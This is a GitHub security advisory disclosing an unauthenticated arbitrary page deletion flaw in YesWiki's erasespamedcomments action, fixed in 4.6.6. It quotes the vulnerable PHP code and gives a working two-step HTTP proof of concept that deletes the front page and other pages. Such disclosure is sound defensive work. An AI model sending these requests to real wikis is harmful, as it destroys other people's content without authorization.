GHSA-6x7x-gcmf-7r8x
YesWiki vulnerable to unauthenticated arbitrary page deletion via `{{erasespamedcomments}}` action
Details
### Summary
The `{{erasespamedcomments}}` wiki action (`actions/EraseSpamedCommentsAction.php`) accepts a `suppr[]` array from `POST` and deletes every wiki page whose tag appears in that array, with no authorization check anywhere in the action body or in the page-deletion path it invokes. Combined with YesWiki's allow-by-default action ACL model, any user who has page write access, which is the default for everyone (`default_write_acl='*'`) on a fresh install can permanently delete arbitrary wiki pages, including the front page, admin pages, and pages owned by other users.
The action's `delete()` callee is `PageManager::deleteOrphaned()`, which despite its name does not check whether the target page is orphaned: it issues an unconditional `DELETE` against `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` tables.
### Details
Three issues compose the vulnerability.
1. `actions/EraseSpamedCommentsAction.php` performs no authorization check before processing `$_POST['clean']` / `$_POST['suppr'][]` in `actions/EraseSpamedCommentsAction.php`:
```php public function run() { $wiki = &$this->wiki; ob_start(); // ... elseif (isset($_POST['clean'])) { $deletedPages = ''; if (!empty($_POST['suppr'])) { foreach ($_POST['suppr'] as $page) { echo 'Effacement de : ' . $page . "<br />\n"; if ($wiki->services->get(PageController::class)->delete($page)) { $deletedPages .= $page . ', '; } } } } } ```
No `UserIsAdmin()`, no `UserIsOwner()`, no `HasAccess('write', $page)` per-target check, no CSRF token check.
2. The default action ACL grants access to everyone in `includes/YesWiki.php`:
```php $acl = empty($this->config['permissions'][$moduleType][$module]) ? '*' : $this->config['permissions'][$moduleType][$module]; ```
```php if ($acl === null) { return true; } return $this->CheckACL($acl, $user); ```
No shipped `permissions` map gates `erasespamedcomments` to admins, so `Performer::CheckModuleACL('erasespamedcomments', 'action')` returns `true` for anonymous users.
3. `PageController::delete()` and `PageManager::deleteOrphaned()` perform no authorization check and do not validate that the page is actually orphaned in `includes/controllers/PageController.php:38–48`:
```php public function delete(string $tag): bool { if ($this->entryManager->isEntry($tag)) { return $this->entryController->delete($tag); } else { $this->pageManager->deleteOrphaned($tag); $this->wiki->LogAdministrativeAction( $this->authController->getLoggedUserName(), 'Suppression de la page ->""' . $tag . '""' ); return true; } } ``` in `includes/services/PageManager.php:289–310`: ```php public function deleteOrphaned($tag) { if ($this->securityController->isWikiHibernated()) { throw new \Exception(_t('WIKI_IN_HIBERNATION')); } unset($this->ownersCache[$tag]); if (in_array($tag, $this->pageCache)) { unset($this->pageCache[$tag]); } $this->dbService->query("DELETE FROM ... WHERE tag='{$this->dbService->escape($tag)}' OR comment_on='{$this->dbService->escape($tag)}'"); $this->dbService->query("DELETE FROM ...links... WHERE from_tag='{$this->dbService->escape($tag)}' "); $this->dbService->query("DELETE FROM ...acls... WHERE page_tag='{$this->dbService->escape($tag)}' "); // ...further unconditional DELETEs across triples, referrers, tags } ```
The companion `isOrphaned()` method (line 284) exists but is never called from `deleteOrphaned()`. The function name is misleading as it deletes any page, not just orphans.
### PoC
Default fresh install where `default_write_acl='*'` (per `includes/YesWikiInit.php:219`), anonymous browsing.
1. create a trigger page (anonymous)
```http POST /?wiki=SpamCleanup/edit HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
body=%7B%7Berasespamedcomments%7D%7D&submit=1 ```
This succeeds because the new page passes `aclService->hasAccess('write', 'SpamCleanup')` against `default_write_acl='*'`.
2. trigger arbitrary page deletion (anonymous)
```http POST /?wiki=SpamCleanup HTTP/1.1 Host: target.example Content-Type: application/x-www-form-urlencoded
clean=yes&suppr%5B0%5D=PagePrincipale&suppr%5B1%5D=AnotherTargetPage ```
Server response includes `Effacement de : PagePrincipale` and `Effacement de : AnotherTargetPage`. `pages`, `links`, `acls`, `triples`, `referrers`, and `tags` rows for those tags are deleted from the database.
### Impact
Arbitrary page deletion, including the front page (`PagePrincipale`).
Are you affected?
Enter the version of the package you're using.
Affected packages
0 Fixed in: 4.6.6 composer require yeswiki/yeswiki:^4.6.6